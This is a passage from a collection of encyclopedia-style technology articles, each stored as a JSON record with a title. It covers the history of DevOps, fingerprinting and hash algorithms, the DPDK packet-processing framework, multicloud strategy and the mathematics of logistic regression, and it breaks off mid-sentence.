status or using terminology in the wrong sense can all be problems for a DevOps culture. Instead, adopt single-purpose, focused tools that use open standardized API. \n\n\n### How is DevOps related to Agile and Lean?\n\nIt's been said that to deliver quality products we need all three: Lean concepts, Agile practices, and DevOps mindset. DevOps is an extension/adoption of Agile because what Agile does for development and testing, DevOps does for operations as well. Agile is a powerful tool that operations can use. Agile was about automating build, test and delivery. DevOps extends automation to deployment. \n\nLean focuses on end-to-end flow to address bottlenecks and wastages. Lean is also about early product validation via customer feedback. Agile on the other hand employs various techniques to build products faster. DevOps uses Agile practices but also talks about how to integrate, test and deliver the product into the hands of users. \n\nJust grafting operations to an existing Agile development process is not DevOps. Having a DevOps team separate from the development team creates silos and this goes against the spirit of DevOps. The Agile process has to be rethought to include operations from the outset. Theresa Neate put it nicely, \n\n> When you have a #DevOps team, you are not doing devops.\n\n\n### Are there any specializations of DevOps?\n\n**DevSecOps** attempts to bring security aspects into DevOps. With the growing importance of data analytics, especially in real time, **DataOps** attempts to apply DevOps to analytics and enable better data-driven decisions. While DevOps has been proven for individual applications, will it work for enterprises that use hundreds of diverse applications across private/public clouds and on-premises? This is being addressed by **BizDevOps** that's more operations focused and has less tolerance for risk taking. When it comes to collaboration, **ChatOps** is a model based on conversations to bring together tools, bots and people for transparent workflows. **NetOps** tries to achieve agility in operations without sacrificing availability. When IT operations are completely automated, though not eliminated, we have **NoOps**. Cloud providers offering PaaS ease so much of day-to-day operations for their users that they tend to use the term NoOps as augmenting DevOps. \n\n## Milestones\n\n2006\n\nEven before the term DevOps is coined, some companies start practising it. In an interview, Amazon's Werner Vogels states that their developers are also looking after day-to-day operations, interfacing with customers and collecting direct feedback. The goal is to improve quality of service. \n\nAug  \n2008\n\nAt the Agile Conference in Toronto, Andrew Shafer calls for a session titled \"Agile Infrastructure\". Only one person, Patrick Debois, attends this. He later meets Andrew and they together form the \"Agile Systems Administration Group\". \n\nNov  \n2008\n\nEric Ries refers to Steve Blank's book titled \"The Four Steps to Epiphany\". The basic idea is to release early a minimum set of features to the customer, get feedback, validate product-market fit and iterate quickly. This was the start of the Lean movement and had an influence on DevOps. \n\nJun  \n2009\n\nAt the O'Reilly Velocity conference John Allspaw and Paul Hammond present 10+ Deploys a Day: Dev and Ops Cooperation at Flickr. Debois watches this from Belgium. Inspired by this, Patrick Debois organizes DevOpsDays in Ghent, Belgium in October. By the time the event ends, twitter hastag *#DevOps* becomes commonly used, giving the movement its current name. \n\n2010\n\nDevOpsDays is organized in Sydney, California, Hamburg and Sao Paulo. This is also the year when Jez Humble publishes his well-known book titled \"Continuous Delivery\". \n\n2014\n\nEnterprises start adopting DevOps.","meta":{"title":"DevOps","href":"devops"}}
{"text":"# Fingerprinting Algorithms\n\n## Summary\n\n\nHuman fingerprints are defined by tiny ridges, spirals and valley patterns on the tip of each finger. They are unique: no two people have the same ones.\n\nSimilarly, a fingerprinting algorithm in computer science is one that maps large data (such as documents or images) to a much shorter sequence of bytes. Such a sequence may be called the data's fingerprint. In essence, large data is more tersely represented by its fingerprint. This fingerprint uniquely identifies the original data, just as human fingerprints uniquely identify individual people. Fingerprinting can be applied to different types of inputs: documents, images, audio, video, or any arbitrary data.\n\nWhile fingerprints may identify the original data, they're not a compression technique. This means that original data cannot be derived from its fingerprint. Fingerprints help in quickly checking the integrity of data or retrieving documents from large filesystems.\n\n## Discussion\n\n### What are the characteristics of a good fingerprinting algorithm?\n\nLike any other algorithm, fingerprinting algorithms must balance speed, memory usage and code size. In addition, they must guarantee **virtual uniqueness**. No two files, even if they differ by a single bit, should end up with the same fingerprint. When two files generate the same fingerprint, we call it a **collision**. A good algorithm guarantees that the probability of collision is extremely small. \n\nConversely, when two files differ even slightly, their fingerprints must be significantly different. This property is called **avalanche effect**. In the world of cryptography, this is also called **diffusion**. \n\nFor some applications, algorithms must support **compounding**, which is about fingerprinting a composite file from the fingerprints of its constituent parts. Computer files are often combined in various ways, such as concatenation (archive files) or symbolic inclusion (C preprocessor's `#include` directive). Compounding property may be useful in some applications, such as detecting when a program needs to be recompiled. \n\n\n### What are some use cases of fingerprinting algorithms?\n\nWhen we need to **search** large filesystems or databases, fingerprints are used to speed up data retrieval. Rather than compare large amounts of content, it's sufficient to compare their fingerprints. When we upload files, cloud providers use fingerprints to do **deduplication** so that multiple copies of the same file are avoided. When users upload content to public sites, fingerprints can tell if it's **banned or copyrighted content**. In companies, fingerprints can prevent employees from emailing sensitive content such as patent documents. \n\nWhen fingerprints of a file don't match we can say that **data integrity** is compromised, that is, the file's been tampered. In other applications where file changes need to be synchronized over a network, fingerprints help in **bandwidth reduction**. Rather than transfer whole files, fingerprints can tell what parts of the file have changed and transfer only those. Likewise, **public-key fingerprints** are used instead of long public keys. In **distributed systems** where unique names must be maintained, fingerprints are used. \n\nFor **identification**, audio fingerprinting is used to identify songs; image fingerprinting to identify cameras, or pornographic content. \n\n\n### Could you describe some fingerprinting algorithms?\n\n**Hash functions**, also called fingerprinting functions, are often used to reduce arbitrary length of data to a fixed length of bytes. The output is called a hash or a fingerprint. Some hash algorithms have cryptographic properties and hence called *cryptographic hash functions*. With these, it's difficult for two different inputs to have the same hash. Cryptographic hashing algorithms include MD5 and SHA-1.\n\n**Rabin's algorithm** uses polynomials over a finite field to generate hashes. It's able to give us a precise calculation of the probability of collision. They're also faster than cryptographic hash algorithms. However, they're said to be insecure against malicious attacks. This is a *rolling hash*. Others include TTTD, FBC and what's used in `rsync`. \n\n**ML algorithms** for fingerprinting are trained on deterministic data and then used for prediction. However, these require lots of training data. \n\n\n### Are there special considerations for audio/video fingerprinting?\n\nNormally, fingerprints must be unique even if the original content changes slightly. However, audio and video are often subject to noise, distortions or variations in encoding. Thus, it's not useful to fingerprint them directly. Algorithms must be robust; that is, even in the presence of noise or distortion, fingerprints must be similar, if not same. \n\nContent that are *perceptually different*, must produce different fingerprints. For audio, perceptual traits such as zero crossing rate, frequency spectrum and tempo can be used. For video, colour histogram, mean luminance, motion detection, ordinal intensity signature, and spatial distribution of colour or objects in a frame are some features to consider. \n\nEven in text processing, sometimes we want to know if two documents are similar. In this case, we don't want to minimize probability of collision. Instead, we need to maximize it. Thus, we have **Locality-sensitive hashing (LSH)** or **MinHash** algorithms. As an example, 5 word n-grams are used to find out if two documents are similar. \n\n\n### Could you name some applications or products that use fingerprinting?\n\n**LBFS** is a low-bandwidth networked filesystem that uses SHA-1 hashing to determine if a data chunk needs to be transferred over the network. **Venti**, an archival storage system, uses SHA-1 hashing of a data block. Blocks are addressed by their hashes. Therefore, block content cannot be changed without changing the address. Thus, Venti enforces write-once policy and deduplication. **Pcompress** does compression and deduplication for data archives. For deduplication, it uses fingerprinting at chunk level and rolling hash computations. \n\nSince 2007, YouTube's been using a system called **Content ID** to flag content that infringe copyrights. It uses both audio and visual fingerprinting, and more recently enhanced with machine learning. **Shazam** identifies songs based on audio fingerprinting. **Audible Magic** employs its audio/video fingerprinting technology for content providers who wish to protect their copyrighted content. \n\nBy computing a hash of hashes, **Surety** offers a timestamped data integrity service. In **blockchain technology**, each block is hashed and these hashes influence those of future blocks. These hashes serve to identify and verify the integrity of blocks. \n\n\n### How's digital fingerprinting related to fingerprinting algorithms?\n\nDigital fingerprinting is a broader concept and fingerprinting algorithms may be treated as a specific case. \n\nThe common interpretation is that digital fingerprinting is used to track or profile individuals based on the tools they use or how they interact online. For example, users can be tracked based on their browsers, browser settings, screen resolution, operating system, location, language settings, etc. The term **browser fingerprinting** has been used to describe this approach. Similarly, there's **canvas fingerprinting** that's based on GPU and graphics drivers.  At device level, MAC address, IP address or TCP/IP configuration could be used. \n\nThe purpose is to identify criminals based on their fingerprints or combat online piracy. Another use is to build a general profile of individuals that can be attractive to advertisers to serve personalized ads. Digital fingerprinting therefore brings up the issue of privacy. Users have been tracked across browsers with an accuracy of 99.2%. \n\n\n### How's a fingerprinting algorithm different from watermarking?\n\nWatermarking is typically employed for documents, images and video. It's a visible marking that serves to discourage content piracy. There's also invisible watermarking that can be used to track the source of a file because each file is stamped with a unique watermark. \n\nWith fingerprinting, we don't have to modify the original file. It's more about prevention than tracking. A file's fingerprint is compared against a database to flag copyrighted content or simply to identify the file. \n\n## Milestones\n\n1981\n\nMichael O. Rabin publishes *Fingerprinting By Random Polynomials*. It introduces the concept of rolling hashes based on a sliding window. Instead of having fixed-size data chunks, variable-sized chunks give better performance in data deduplication applications. \n\n1991\n\nRonald Rivest proposes **MD5**, a cryptographic hash function. It's offered without licensing. Weaknesses are identified in the following years. In 2004, enhanced differential attacks are discovered. By 2009, this attack is optimized so that MD5 collisions can be discovered in milliseconds. \n\n1993\n\nNational Institute for Standards and Technology (NIST), USA, proposes **Secure Hash Algorithm (SHA)**. In 1995, this is replaced with **SHA-1** due to a flaw in the original algorithm. SHA-1 produces 160-bit hashes. SHA-1 itself is attacked in 2005. Google publishes full details of another attack in 2017. \n\n1999\n\nShazam is founded based on the idea of using audio fingerprinting to identify music, movies, ads and shows. In 2018, it was acquired by Apple. \n\n2002\n\nNIST proposes **SHA-2** as a replacement of SHA-1. SHA-2 produces longer hashes of 224, 256, 384 or 512 bits. \n\n2007\n\nGoogle introduces beta version of **YouTube Video Identification** to help copyright owners manage their content on YouTube, particularly when uploaded by others. The service uses video fingerprinting as the technique and later evolves into **Content ID**.","meta":{"title":"Fingerprinting Algorithms","href":"fingerprinting-algorithms"}}
{"text":"# DPDK\n\n## Summary\n\n\nSwitches, routers, firewalls and other networking devices typically need to process large volumes of packets in real time. Traditionally, efficient packet processing was done using specialized and expensive hardware. Data Plane Development Kit (DPDK) enables us to do this on low-cost commodity hardware. By using commodity hardware, we can also move networking functions to the cloud and run them within virtualized environments. DPDK enables innovation around multi-core CPUs, edge computing, real-time security, NFV/SDN, low-latency applications and more.\n\nDPDK was originally started at Intel. Later it was open sourced and subsequently brought under the guidance of the Linux Foundation. It uses BSD-3-Clause licensing. \n\nDPDK is not without its challenges. Not all NICs are supported. Support for Windows is limited. Being a low-level framework, it requires developers with relevant expertise. Debugging is harder.\n\n## Discussion\n\n### How did vendors achieve efficient packet processing before DPDK?\n\nBefore DPDK, specialized hardware did efficient packet processing. Such hardware might use custom ASICs, programmable FPGAs or Network Processing Units (NPUs). Sometimes low-level hardware-specific microcode or custom firmware could be present. Packet classification, flow control, TCP/IP processing, encryption/decryption, VLAN tagging, and checksum calculation example tasks that these specialized hardware did in an optimized manner.\n\nHowever, such hardware were expensive to buy and maintain. Upgrades and security patches were time-consuming to apply and needed a full-time network administrator. One solution was move from specialized hardware to Commercial Off-the-Shelf (COTS) hardware. While this was more cost effective and easier to maintain, performance suffered. Packets moved from Network Interface Cards (NICs) to the operating system (OS), where they were processed via the OS kernel stack. \n\nEven with fast NICs, the kernel stack proved a bottleneck. System calls, interrupts, context switches, packet copying and per-packet processing brought down performance.  \n\nDPDK solves the performance problem on COTS hardware. We get efficient packet processing without requiring expensive customized hardware. \n\n\n### How does DPDK improve packet processing?\n\nDPDK **bypasses the kernel** and enables fast packet processing in userspace. It's essentially a set of network drivers and libraries. Environment Abstraction Layer (EAL) abstracts hardware-specific operations from applications. The figure shows how traditional processing with POSIX calls goes through the kernel space before packets reach the application. DPDK short-circuits this path and moves packets directly between NIC and userspace applications. \n\nTraditional processing is interrupt driven where the NIC interrupts the kernel when a packet arrives. DPDK uses **polling** instead and avoids the overhead associated with interrupts. This is performed by a Poll Mode Driver (PMD). \n\nAnother important optimization is **zero copy**. In traditional networking, packets are copied from socket buffers in kernel space to user space. DPDK avoids this.  \n\nFor developers, DPDK's userspace approach is attractive since kernel need not be modified. Any network stack based on DPDK can be optimized for specific applications. \n\n\n### What's the packet processing model adopted by DPDK?\n\nThere are broadly two processing models:   \n\n    + **Run-to-Completion**: A CPU core handles receive, processing and transmit of a packet. Multiple cores can be used with each core associated with a dedicated port. However, with Receive Side Scaling (RSS), traffic arriving at a single port can be distributed to multiple cores.\n    + **Pipeline**: Each core is dedicated to a specific workload. For example, one core might handle receive/transmit of packets while other cores handle application processing. Packets are passed between cores via memory rings.For single-core multi-CPU deployments, one CPU is assigned to the OS and the other to the DPDK-based application. A less performant variant is when packets are accessed via the QPI interface. For multi-core deployments, we can assign more than one core to each port with or without hyperthreading. \n\nDeciding which model to use is not trivial. Some things to consider are cycles needed to process each packet, extent of data exchange across software modules, specific optimization at some cores, code maintainability, etc. Intel VTune Profiler can be used to analyze the efficiency of the pipeline model. \n\n\n### What other techniques does DPDK use to improve performance?\n\nApart from kernel bypass, polling and zero copy, there are a few more techniques used by DPDK:  \n\n    + **Processor Affinity**: Ties specific processing to specific cores.\n    + **Huge Pages**: Reduces TLB cache misses.\n    + **Lockless Sync**: Queues are managed with the ring library. Enqueue and dequeue operations are lockless.\n    + **I/O Batch**: Process a batch of packets rather than one at a time. This amortizes overheads in accessing the NIC.\n    + **NUMA Aware**: Utilizes NUMA memory for better performance.\n    + **Cache Alignment**: Align structures to 64-byte cache lines.These features are used by DPDK components such as EAL, memory manager, buffer manager, queue manager, flow classification, etc. \n\n\n### What are some metrics used to evaluate DPDK performance?\n\n**Throughput** is the most common metric. Often this is quoted in Mbps, Gbps or Mega Packets Per Second (MPPS). When MPPS is used, packet size must be mentioned. At a low packet size of 64 bytes, throughput will be limited by MPPS rather than Mbps. The figure above shows throughput at L2. \n\nIn 2015, per core L3 performance on Linux was 1.1 MPPS. On Intel DPDK, this was 28.5 MPPS. In 2010, DPDK could achieve L3 performance of 55 MPPS with 64-byte packets on an Intel Xeon-based system. This was improved to 255 MPPS (2014) and 347 MPPS (2016). \n\n**Latency** is important for low-latency applications. The figure above shows that DPDK reduces latency by a factor of ten on 64-byte packets. Likewise, for real-time applications, **jitter** is important. One study showed that DPDK reduces jitter from 10μs to 2μs. \n\n\n### Does DPDK need a TCP/IP stack to work?\n\nDPDK doesn't include a TCP/IP stack. If an application requires a userspace networking stack, it can use F-Stack, mTCP, TLDK, Seastar and Accelerated Network Stack (ANS). These typically provide both blocking and non-blocking socket APIs. Some of these are based on FreeBSD implementation. \n\nBy omitting a networking stack, DPDK doesn't have the inefficiency of a generic implementation. Applications can include networking modules optimized for their use cases. There might also be some use cases where no higher layer (above L2) processing is needed.\n\n\n### Who in industry is using DPDK?\n\nLoad balancing, flow classification, routing, access control (firewall), and traffic policing are typical uses of DPDK. There's a misconception that DPDK is only for the telecom industry. However, DPDK has been used in cloud environments and enterprises alike. Traffic generators (TRex) and storage applications (SPDK) use DPDK. The figure above lists open-source projects powered by DPDK. \n\nNetwork Function Virtualization (NFV) and Software Defined Networking (SDN) are two technologies that leverage DPDK. Open vSwitch (OVS) when ported to DPDK has shown 7x performance improvement. \n\nIn IoT applications, packets are tiny. DPDK reduces latency and allows more such packets to be processed per second. \n\nIn 5G, the User Plane Function (UPF) processes user data packets. Delay, jitter and bandwidth are key performance metrics that need to be met. Some researchers have proposed DPDK for 5G UPF implementation.  For deploying UPF at edge networks, DPDK APIs can be used to interface the UPF application (UPF-C) and SmartNICs (UPF-U). \n\n\n### What are the challenges with DPDK?\n\nDPDK requires low-level expertise. Developers should learn DPDK's programming model. They should know how to manage memories, pass packets without copying, and work with multi-core architectures. \n\nFor example, PID namespace can cause problems with managing *fbarray*. Processes using *mmap* without specifying addresses can cause problems. Called *thread or core affinity*, threads must be assigned correctly to CPU cores for consistent performance. DPDK libraries offer developers many implementation choices. Getting these choices wrong can impact performance. \n\nSince kernel is bypassed, we lose all the protection, utilities (`ifconfig`, `tcpdump`) and protocols (ARP, IPSec) that the Linux kernel provides. Debugging and identifying root causes for networking problems are challenges. However, DPDK's tracing library and *LLTng* may help. A poor implementation can cause other processes/programs to fail. \n\nFinally, since polling is used instead of interrupts, DPDK causes 100% CPU usage even when only a few packets are being processed. \n\n\n### What are some alternatives to DPDK?\n\nFaster packet processing via kernel bypass is possible using Snabbswitch, Netmap or StackMap. Like DPDK, these process packets in the userspace. Packets completely bypass the kernel stack. Snabbswitch is written in Lua while DPDK is in C.  PacketShader does kernel bypass for GPU-based hardware.  \n\nAn alternative approach is to modify the Linux kernel. Examples include eXpress Data Path (XDP) and network stacks based on Remote Direct Memory Access (RDMA). Other efficient tools include packet\\_mmap (but doesn't bypass the kernel) and PF\\_RING (with ZC drivers). \n\nCloud providers may not wish to dedicate an entire NIC for a single offloaded application. Solarflare uses OpenOnload that uses the *EF\\_VI* proprietary library. It creates a \"hidden queue\" at the NIC that userspace processes can access. This approach is sometimes called **bifurcated driver** or **queue splitting**. A similar approach exists in the virtualization world to avoid the overhead of passing packets from host to VM. Fake virtual interfaces allow packets to reach the VM directly. In general, modern NICs can bifurcate traffic to use or skip kernel stack. SR-IOV and VFIO technologies enable this.  \n\n## Milestones\n\nSep  \n2010\n\nIntel creates **DPDK** and releases it under a permissive license. It uses the *3-Clause BSD License*. This allows developers to modify the source code without requiring them to open source those modifications. Intel's Venky Venkatesan is often called the \"Father of DPDK\". \n\nSep  \n2012\n\n**DPDK v1.2.3r0** is released. On DPDK Git archives, this is the earliest version available. Release notes are available since v1.8 (December 2014).  \n\nOct  \n2012\n\nETSI's white paper on NFV is published. This paper mentions DPDK as an enabling technology for NFV and cloud computing. This is attributed to DPDK's poll-mode Ethernet drivers that avoid interrupt-driven processing. \n\n2013\n\nWebsite *DPDK.org* is launched and an **open source community** is formed. \n\nSep  \n2014\n\nThe first **DPDK Summit** is organized in San Francisco. Similar summits are organized regularly over the following years. Meanwhile in 2014, DPDK comes with **multi-vendor** CPU and NIC support. This support grows rapidly through 2015. \n\nApr  \n2015\n\nSince DPDK doesn't offer a built-in TCP/IP stack, other open source projects attempt to provide this on top of DPDK. Examples of this include mTCP (v2 in Apr 2015), ANS (v16.08 in Aug 2016), and F-Stack (v1.11 in Nov 2017). \n\nOct  \n2015\n\nDPDK releases new project **logos**, licensed under CC BY-IND 4.0. \n\nApr  \n2017\n\nDPDK becomes a project under the guidance of **the Linux Foundation**, which provides a network platform for the growth of DPDK. By now, many open source projects have already adopted DPDK including MoonGen, mTCP, Ostinato, Lagopus, Fast Data (FD.io), Open vSwitch, OPNFV, and OpenStack. \n\nMay  \n2019\n\nDPDK v19.05 is released with **support for Windows OS**. Only a \"Hello World\" sample application is supported. However, even four years later, the v23.07.0 documentation notes that DPDK for Windows is \"a work in progress\" and some source files may not compile. \n\nNov  \n2020\n\n**DPDK v20.11** is released. It's claimed to be the biggest and most robust release. It's an LTS release that will be supported for two years. The two biggest contributors for this release are Intel and Nvidia, followed by Huawei and Broadcom. \n\nDec  \n2022\n\nIntel publishes a technology guide explaining its *Data Streaming Accelerator (DSA)*. While DPDK aims to avoid data copying, sometimes this is unavoidable. Such copying operations can be offloaded to Direct Memory Access (DMA) accelerators such as DSA. DPDK library that enables this is `dmadev`, available since DPDK v21.11 (November 2021).  \n\nMar  \n2023\n\nBelkhiri et al. propose instrumenting DPDK libraries and collecting trace information. These traces can be used to debug performance issues and identify root causes. They claim that their approach is better than what existing tools VTune Amplifier (closed source), FlowWatcher-DPDK and DPDKStat are capable of. \n\nSep  \n2023\n\nDPDK website shows that the current gold members include AMD, ARM, Ericsson, Intel, Marvell, Microsoft, Nvidia, Red Hat and ZTE. Silver members include 6Wind, Broadcom, Huawei, NXP, and more.","meta":{"title":"DPDK","href":"dpdk"}}
{"text":"# Multicloud\n\n## Summary\n\n\n**Multicloud** (multi-cloud or multi cloud) is a cloud computing strategy. It involves utilizing multiple cloud platforms and services from different vendors within a single IT architecture. The primary purpose of this approach is to enhance cloud infrastructure capabilities, increase flexibility, and optimize costs. Multicloud describes how cloud resources, such as software, applications, and data, are distributed across various cloud hosting environments, which may include public, private, or hybrid clouds..  \n\nMulticloud combines two or more cloud platforms. The mulicloud architecture usually has minimum two independent public cloud platforms. These platforms are either public or private. \n\nMulticloud deployment has various benefits. For example, using multiple IaaS, PaaS, and SaaS vendors, including different cloud vendors for different services, excess and system backup.\n\n## Discussion\n\n### How can we understand multicloud with an example?\n\nLet's understand multicloud with an example:\n\nImagine a medium-sized e-commerce company, \"TechMart,\" that wants to leverage cloud computing to enhance its online store and customer experience. To achieve their goals, they decide to adopt a multicloud strategy. Here's how they use multicloud:\n\n**Web Application Hosting:** TechMart chooses to host its web application on AWS (Amazon Web Services) due to its robust and scalable infrastructure. AWS provides excellent support for web hosting, allowing TechMart to handle fluctuating traffic during peak shopping seasons efficiently.\n\n**Data Storage and Analytics:** TechMart deals with a large volume of customer and transaction data. To optimize data storage costs and performance, they decide to use Microsoft Azure's cloud data services. Azure offers a wide range of data storage options and advanced analytics tools that suit their needs.\n\n**Email and Communication Services:** For seamless email communication with customers and employees, TechMart selects Google Cloud Platform (GCP) for its reliable and feature-rich email services.\n\n**Disaster Recovery:** To ensure business continuity and data redundancy, TechMart also maintains a private cloud in their on-premises data center. This private cloud acts as a disaster recovery environment, replicating critical data from the public cloud providers.  \n\n\n### What are the benefits of multicloud approach?\n\nA multicloud approach gives multiple options to a company. Some advantages of multicloud are: \n\nStakeholders can choose the most effective solution. They can distribute resources among cloud providers. They need to pay only for their usage based on business needs.  Enterprises gain better computing resources and higher cloud security. They have reduced outages and vendor lock-in risks. SLAs between various service providers secure customers from failures or downtime. Multicloud aids enterprises to optimize service, price, and resources. It also improves data security and interaction flexibly. \n\nMulticloud allows selecting suitable components and cloud services. they can be selected from various vendors based on business needs. It is based on factors like cost, performance, security, compliance, and location preferences. It provides quick adoption of new technologies from any vendor. Businesses need a strong strategy and governance framework for a successful multicloud implementation.\n\n\n### What is the difference between multicloud, hybrid cloud and polycloud?\n\n**Multicloud** refers to the practice of using services and resources from more than one cloud companies. In a multicloud setup, an company would possibly use one cloud provider for positive workloads or packages and every other cloud issuer for exclusive tasks. The intention is to leverage the strengths of every cloud issuer even as avoiding supplier lock-in and ensuring redundancy.  \n\n**Hybrid cloud**, uses both on-premises hardware and cloud hosting. It could lead to a shift to a public cloud. A hybrid cloud lets businesses connect their existing infrastructure. And also, the employees' skill sets to a more cloud-centered future. \n\n**Polycloud** is a general term that encompasses any cloud computing infrastructure that uses multiple clouds. It can be public, private, or hybrid. This term includes both multicloud and hybrid cloud environments. The key difference is that multicloud does not specify the exact combination of clouds used, whereas multicloud and hybrid cloud are more specific about their configurations \n\n\n### What are the some of the use cases for multicloud?\n\nBusinesses use a variety of cloud platforms and services. This helps with their digital transformation.\n\nCompanies are choosing to deploy apps on public, private, and edge clouds. This best serves their business goals and application requirements. Cloud Smart has taken the position of Cloud First.  \n\nData backup and storage are dependable. They are simpler and less expensive. Concerns about cloud spending, data control, vendor dependence, and lock-in are increasing. Hence, businesses will keep spreading their estate across various surroundings.\n\nApplications need to be closer to physical objects and users. So, they need to be deployed to the edge. This improves automation, efficiency, and consumer experiences. The sectors include logistics, retail, and manufacturing. \n\nThe hybrid workforce problem is growing. It's challenging to secure, manage, and enable workers, and their devices. So that, they can be productive everywhre. \n\n\n### What type of challenges can occur in case of multicloud?\n\nIT businesses are adopting multicloud environments. The challenges in achieving their objectives are becoming more visible as: \n\nDifferent workflow and management tools can be expensive. They can cause excess storage and more infrastructure-complexity. Operating multiple clouds requires expertise. They need more time and human resources. Vendors may employ various strategies or tactics to manage challenges. So, simple processes like providing resource become complicated. They have unique portals, APIs, and processes. They need to be controlled. \n\nA company would be more exposed to potential threats and weaknesses. Thus, more work is required for effective security, governance, and consent. Businesses keep introducing new multi-platform tools. Hence, IT leaders need to retrain workers frequently. Companies struggle to recruit employees with the necessary multicloud expertise. It's challenging to adapt quickly to new innovations. The provider maturity levels and API, vary. Multicloud can make these tasks challenging. \n\n## Milestones\n\n2011\n\nThe hybrid cloud concept is introduced. It requires an interaction between a private and public cloud. It needs the ability to shift workloads between the two clouds. \n\n2012\n\nMulticloud appears when businesses begin to use SaaS providers. These include human resources, customer relations management, and supply chain management. \n\n2013\n\nMulti-cloud trend starts gaining popularity. \n\n2018\n\nThe analyst firm Forrester conducts a survey on behalf of Virtustream. It includes cloud strategy and application management decision makers in the US, EMEA, and APAC. The majority of them characterize their organizations' cloud strategy as \"multicloud.\" There are 727 respondents to the survey. 86% of them use multiple public and private clouds for different application workloads.","meta":{"title":"Multicloud","href":"multicloud"}}
{"text":"# Logistic Regression\n\n## Summary\n\n\nSuppose we're asked to classify emails into two categories: spam or not spam. Compare this with another application that attempts to predict product sales given recent advertising expense. Unlike the second example in which the target variable is continuous, email classification predicts a **categorical variable**. \n\n**Logistic regression** is a statistical method used for classifying a target variable that is categorical in nature. It is an extension of a linear regression model. It uses a logistic function to estimate the probability of a target variable belonging to a particular class or category.\n\n## Discussion\n\n### Could you explain logistic regression with an example?\n\nConsider email classification as an example. To be able to predict if an email is spam or not, we will extract relevant information from the emails such as: \n\n    + Sender of the email\n    + Number of typos in the email\n    + Occurrence of words or phrases such as \"offer\", \"prize\", \"free gift\", etc.The above information is converted into a vector of numerical features. These numerical features are linearly combined and then transformed using a logistic function to give a score in the range 0 to 1. This score is the probability of an email being either spam or not. If the probability is higher than 50%, then the email will be classified as spam. \n\n\n### What are different types of logistic regression?\n\nThere are three types of logistic regression: \n\n    + **Binary or binomial**: where the dependent variable can have only two outcomes. Examples: spam/not-spam, dead/alive, pass/fail.\n    + **Multiclass or multinomial**: where the dependent variable is classified into three or more categories and these categories are not ordered. Examples: types of cuisines (Italian, Mediterranean, Chinese).\n    + **Ordinal**: where the dependent variable is classified into three or more categories and these categories are ordered. Examples: movie rating (1-5).\n\n### Why can't I use linear regression for predicting classes?\n\nIn classification problems, we are predicting the probability that the outcome variable belongs to a particular class. If linear regression is used for classification, it will **treat the classes or categories as numbers**. It will fit the best line that minimises the distance between the data points and the line. The linear regression equation would just give scores that lie along the best fit line. These scores cannot be interpreted as probabilities. A meaningful threshold cannot be set to distinguish the classes. \n\nAlso, the linear regression model fits a straight line that can extrapolate. **Values can go out of range**, such as below 0 or above 1 (-∞ to ∞). Since probability lies in a fixed range between 0 to 1, in logistic regression, a logistic function is applied so that the dependent variable only takes values between 0 and 1.\n\n\n### What is the logistic function?\n\n**Logistic function** also known as **sigmoid function** is **an S-shaped curve** that can take any real-valued number and transforms it into a number between 0 and 1 using the following equation: \n\n$$f(x)= \\frac{1}{1+e^{-x}}$$\n\nIn the above image as x approaches ∞, then, f(x) becomes 1 and as x approaches -∞, then, f(x) becomes 0.\n\n$$f(x) = \\frac{1}{1+e^{-∞}} = 1, \\qquad e^{-∞}\\to 0$$\n\n$$f(x) = \\frac{1}{1+e^{-(-∞)}} = \\frac{1}{1+ e^∞} = 0, \\qquad 1/∞ \\to 0$$\n\n\n### What are GLMs and how are they relevant to logistic regression?\n\n**Generalized Linear Models** (GLMs) are a class of **non-linear regression models** that can be used in certain cases where linear models do not fit well. They're applicable when the outcome variable follows a non-linear distribution such as binomial, exponential, poisson, etc.\n\nA GLM is represented by the following equation: \n\n$$\\large{g(E(y))=\\beta\\_0+\\beta\\_1{}x\\_{1}+\\ldots{}\\beta\\_p{}x\\_{p}}$$\n\nWhere,\n\n    + \\(E(y)\\) is the mean value or the expected value of the outcome variable that follows an assumed distribution\n    + \\(\\beta\\_0+\\beta\\_1{}x\\_{1}+\\ldots{}\\beta\\_p{}x\\_{p}\\) is the linear predictor i.e. the weighted sum of features where \\(\\beta\\) is the weight and x is the explanatory variable.\n    + \\(g\\) is the link function that mathematically links the expected value of the outcome variable and the linear predictor.GLM is a generalised form of linear regression and logistic regression is a specific type of GLM. For logistic regression, we can derive a specific link function \\(g\\) called the **logit function**. \n\n\n### What is the logistic regression equation and the logit function?\n\nLet's start with the linear regression equation:\n\n$$y=\\beta\\_0+\\beta\\_1{}x\\_{1}\\qquad(1)$$\n\nWe derive the link function for logistic regression. In linear regression, \\(y\\) is a continuous variable. Since we want a probability for logistic regression, we will wrap the linear predictor in a logistic function so that the values do not go below 0 or beyond 1. We will denote this as probability with \\(p\\):\n\n$$p=\\frac{1}{1+e^{-(\\beta\\_0+\\beta\\_1{}x\\_{1})}}\\qquad(2)$$\n\nThe figure shows the probability that a person, given his/her age, will die within the next five years. We note that changing \\(\\beta\\_0\\) shifts the curve while changing \\(\\beta\\_1\\) affects steepness. \n\nUsing (1) we can rewrite (2) as:\n\n$$p=\\frac{1}{1+e^{-y}}=\\frac{e^y}{1+ e^y}\\qquad(3)$$\n\nIf \\(p\\) is the probability that an email is spam, then the probability of a non-spam email can be written as:\n\n$$q=1-p=1-\\frac{1}{1+e^{-y}}=\\frac{1}{1+e^y}\\qquad(4)$$\n\nDividing (3) by (4) we get,\n\n$$\\frac{p}{1-p}=e^y$$\n\nTaking natural logarithm on both sides and substituting the value of y we get the **logistic regression equation**, \n\n$$\\ln(\\frac{p}{1-p})=\\beta\\_0+\\beta\\_1{}x\\_{1}$$\n\n\\(p/(1-p)\\) is the **odds ratio**. \\(\\ln(p/(1-p))\\) is the **link function** or **logit function**. The output values from this function are called **logits**.  \n\n\n### What is the cost function for logistic regression?\n\nA **cost function** quantifies the error between the predicted value and the expected value. The weights of features in the model are estimated by minimising or maximising this cost function.\n\nThe cost function used in logistic regression is known as **Log Loss** or **Negative Log-Likelihood (NLL)** equation. It is the negative average of the log of correctly predicted probabilities for each instance in the training data. \n\n$$-\\frac{1}{N}\\sum\\_{i =1}^Ny\\_i\\cdot\\ln(p(y\\_i))+(1-y\\_i)\\cdot\\ln(1-p(y\\_i))$$\n\nWhere,\n\n    + \\(N\\) is the number of training samples\n    + \\(y\\_i\\) is actual value of i'th sample\n    + \\(p(y\\_i)\\) is the predicted probability of the i'th sampleWe simplify this equation for the two possible outcomes for a single training sample: \n\n    + True output y=1 (positive): \\(-(1\\cdot\\ln(p) + (1–1)\\cdot\\ln(1-p)) = -ln(p)\\)\n    + True output y=0 (negative): \\(-(0\\cdot\\ln(p) + (1–0)\\cdot\\ln(1-p)) = -ln(1-p)\\)Also in the above graph we can see 